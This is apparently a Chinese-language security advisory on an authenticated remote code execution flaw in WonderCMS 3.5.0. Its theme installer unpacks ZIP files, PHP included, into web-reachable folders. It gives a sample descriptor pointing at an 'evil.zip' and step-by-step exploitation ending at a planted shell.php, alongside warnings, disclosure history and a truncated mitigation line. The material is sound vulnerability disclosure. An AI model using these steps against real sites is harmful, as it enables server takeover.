WonderCMS v3.5.0 存在一个已认证远程代码执行(RCE)漏洞。
问题源于应用程序通过 JSON 描述符处理远程主题/模块安装的方式。当管理员提交引用 ZIP 压缩包的远程 JSON 文件时,其内容会被解压到可通过 Web 访问的目录(例如 /themes/)。如果该 ZIP 包含 PHP 文件,该文件即可通过 Web 访问并可能被执行。
此行为因以下原因引入 RCE 风险:
注意: 需要管理员认证,但默认安装会在主页上公开管理员密码,仅使用密码登录,并且未实施强认证控制。
如果提交的 JSON 描述符符合预期的 wcms-modules.json 格式,WonderCMS 将接受并尝试安装远程模块/主题。通过格式检查(并指向 ZIP 压缩包)的描述符将被获取,其压缩包内容会被解压到可通过 Web 访问的目录(例如 /themes/<name>/),而不会进一步验证文件类型。
示例描述符:
{
"themes": {
"SSRF": {
"name": "FAKE",
"repo": "https://example.com/",
"zip": "https://example.com/evil.zip",
"summary": "test",
"version": "1.0.0",
"image": "https://example.com/fake.png"
}
}
}
警告:请勿在生产系统上运行。仅限在授权的测试环境中使用。
从默认 WonderCMS 安装的公开主页上获取管理员密码。
登录管理面板。
导航到主题安装部分。
提供恶意 JSON 描述符的 URL(例如,托管在攻击者控制的服务器上)。
开始安装。服务器将:
安装下载的恶意主题。
访问提取出的 PHP shell(例如,http://target.com/themes/<Theme_Name>/shell.php)以执行任意命令。
(注意: 仅可在受控测试环境中执行这些步骤。未经授权在真实系统上利用此漏洞是违法的。)
该漏洞已于 2025 年 7 月报告给 WonderCMS 维护人员。
维护人员确认了该报告,但指出在他们看来,此行为对管理员来说是可接受的。
为减少暴露面:
themes/ 或 plugins/ 内的可执行文件。此信息仅供防御性安全研究和教育目的使用。在测试或披露漏洞之前,请务必获得适当授权。